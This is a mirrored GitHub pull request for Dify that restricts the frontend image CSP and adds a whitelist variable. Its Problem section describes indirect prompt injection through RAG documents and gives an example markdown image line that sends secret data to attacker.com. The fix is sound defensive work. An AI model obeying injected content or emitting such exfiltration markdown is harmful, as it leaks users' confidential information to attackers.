langgenius/dify
1
0
Fork 0
mirror of https://github.com/langgenius/dify.git synced 2026-07-20 19:50:06 -04:00
Code Issues 775 Packages Projects Releases 10 Wiki Activity

[PR #30934] fix: Add CSP for images in the frontend #33023

New Issue
Open
opened 2026-02-21 20:52:31 -05:00 by yindo · 0 comments
yindo commented 2026-02-21 20:52:31 -05:00
Owner
Copy Link
Copy Source

Original Pull Request: https://github.com/langgenius/dify/pull/30934

State: open
Merged: No

Summary

Fixes #30874

Problem

The frontend allowed images from any source (img-src * data: blob:), enabling data exfiltration through indirect prompt injection attacks. An attacker could inject malicious RAG documents that cause the LLM to emit markdown like ![](https://attacker.com/steal?secret=DATA), leaking confidential information via HTTP requests.

Solution

Enforced strict CSP for image sources by:

  • Restricting img-src directive: Changed from img-src * data: blob: to img-src 'self' data: blob: ${imgWhiteList} in web/middleware.ts
  • Added environment variable: NEXT_PUBLIC_CSP_IMG_WHITELIST with default localhost whitelist (http://localhost:* http://127.0.0.1:*)
  • Updated configuration files:
    • web/.env.example - Added NEXT_PUBLIC_CSP_IMG_WHITELIST
    • docker/.env.example - Added CSP_IMG_WHITELIST
    • web/docker/entrypoint.sh - Added environment variable export mapping

Checklist

  • This change requires a documentation update, included: Dify Document
  • I understand that this PR may be closed in case there was no previous discussion or issues. (This doesn't apply to typos!)
  • I've added a test for each change that was introduced, and I tried as much as possible to make a single atomic change.
  • I've updated the documentation accordingly.
  • I ran make lint and make type-check (backend) and cd web && npx lint-staged (frontend) to appease the lint gods

Contribution by Gittensor, see my contribution statistics at https://gittensor.io/miners/details?githubId=147358252

**Original Pull Request:** https://github.com/langgenius/dify/pull/30934 **State:** open **Merged:** No --- ## Summary Fixes #30874 ### Problem The frontend allowed images from any source (`img-src * data: blob:`), enabling data exfiltration through indirect prompt injection attacks. An attacker could inject malicious RAG documents that cause the LLM to emit markdown like `![](https://attacker.com/steal?secret=DATA)`, leaking confidential information via HTTP requests. ### Solution Enforced strict CSP for image sources by: - **Restricting `img-src` directive**: Changed from `img-src * data: blob:` to `img-src 'self' data: blob: ${imgWhiteList}` in `web/middleware.ts` - **Added environment variable**: `NEXT_PUBLIC_CSP_IMG_WHITELIST` with default localhost whitelist (`http://localhost:* http://127.0.0.1:*`) - **Updated configuration files**: - `web/.env.example` - Added `NEXT_PUBLIC_CSP_IMG_WHITELIST` - `docker/.env.example` - Added `CSP_IMG_WHITELIST` - `web/docker/entrypoint.sh` - Added environment variable export mapping ## Checklist - [ ] This change requires a documentation update, included: [Dify Document](https://github.com/langgenius/dify-docs) - [x] I understand that this PR may be closed in case there was no previous discussion or issues. (This doesn't apply to typos!) - [x] I've added a test for each change that was introduced, and I tried as much as possible to make a single atomic change. - [x] I've updated the documentation accordingly. - [x] I ran `make lint` and `make type-check` (backend) and `cd web && npx lint-staged` (frontend) to appease the lint gods Contribution by Gittensor, see my contribution statistics at https://gittensor.io/miners/details?githubId=147358252
yindo added the pull-request label 2026-02-21 20:52:31 -05:00
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
Knowledge Pipeline
Proposal
WIP
cloud
dependencies
feat:webapp
good first issue
outdated
performance
pull-request
Mirrored from GitHub Pull Request
 python:uv
refactor
size:L
stale
status: accepting prs
status: blocked
status: in discussion
stt & tts
vulnerablity
web
wont-fix
🌊 feat:workflow
🌚 invalid
🐞 bug
👻 feat:rag
💪 enhancement
📚 documentation
🔨 feat:tools
🙋‍♂️ question
🙏 help wanted
🤔 cant-reproduce
🤖 feat:agent
No Label pull-request
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
yindo
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: langgenius/dify#33023
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?